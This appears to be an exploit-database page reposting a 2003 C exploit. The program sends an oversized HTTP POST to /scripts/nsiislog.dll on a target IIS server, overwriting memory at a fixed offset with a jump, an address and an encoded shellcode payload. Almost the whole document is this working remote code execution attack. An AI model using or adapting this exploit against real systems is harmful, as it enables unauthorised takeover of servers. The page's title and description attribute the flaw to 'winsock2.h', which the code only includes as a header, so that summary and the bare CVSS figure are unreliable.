Buffer Overflow Vulnerability in winsock2.h

vendor:

by:

9.8

CVSS

CRITICAL

Buffer Overflow

121

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Buffer Overflow Vulnerability in winsock2.h

This exploit takes advantage of a buffer overflow vulnerability in the winsock2.h library. By sending a specially crafted input, an attacker can overwrite the buffer and execute arbitrary code.

Mitigation:

To mitigate this vulnerability, ensure that input validation and buffer size checks are implemented correctly in the affected code. It is also recommended to keep software and libraries up to date with the latest security patches.

Source

Exploit-DB raw data:

#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>


char        *hostName = NULL;
unsigned char shellcode[]=
        "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
        "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"

    //¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?SHELLCODE¿?¿?¿?¿?¿?   \xc0\x6b\xa4\x5e\xc6\xc7¿?
    //¿?WRITEFILE¿?¿?¿?2¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?¿?

    "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xa4\x5e\xc6\xc0\xc7"
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
        "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
        "\x68\x68\x68\x68";
        
void main (int argc, char **argv)
{
    WSADATA WSAData;
    SOCKET s;
    SOCKADDR_IN addr_in;
    unsigned char buf[1000];
    unsigned char testbuf[0x10000];
    int len;
    char t1[]="POST /scripts/nsiislog.dll HTTP/1.1\r\nHost: 192.168.10.210\r\nContent-length: 65536\r\n\r\n";//4364

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }


    hostName = argv[1];

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(80);
    addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
    
    memset(testbuf,0,0x10000);
    
    if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
    if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
    len=sizeof(t1)-1;
    memcpy(testbuf,t1,len);
    send(s,testbuf,len,0);
    recv(s,buf,1000,0);
    memset(testbuf,'A',65536);//4364
    len=65536;//4364;
    *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp¿?¿?¿?¿?¿?¿?¿?¿?
    *(DWORD *)(testbuf+0x2708)=0x40F0135c;//¿?¿?¿?¿?¿?¿?¿?¿?
    memcpy(testbuf+0x270c,shellcode,sizeof(shellcode));
    send(s,testbuf,len,0);      
    closesocket (s);
    WSACleanup();
    return;
}

// milw0rm.com [2003-07-14]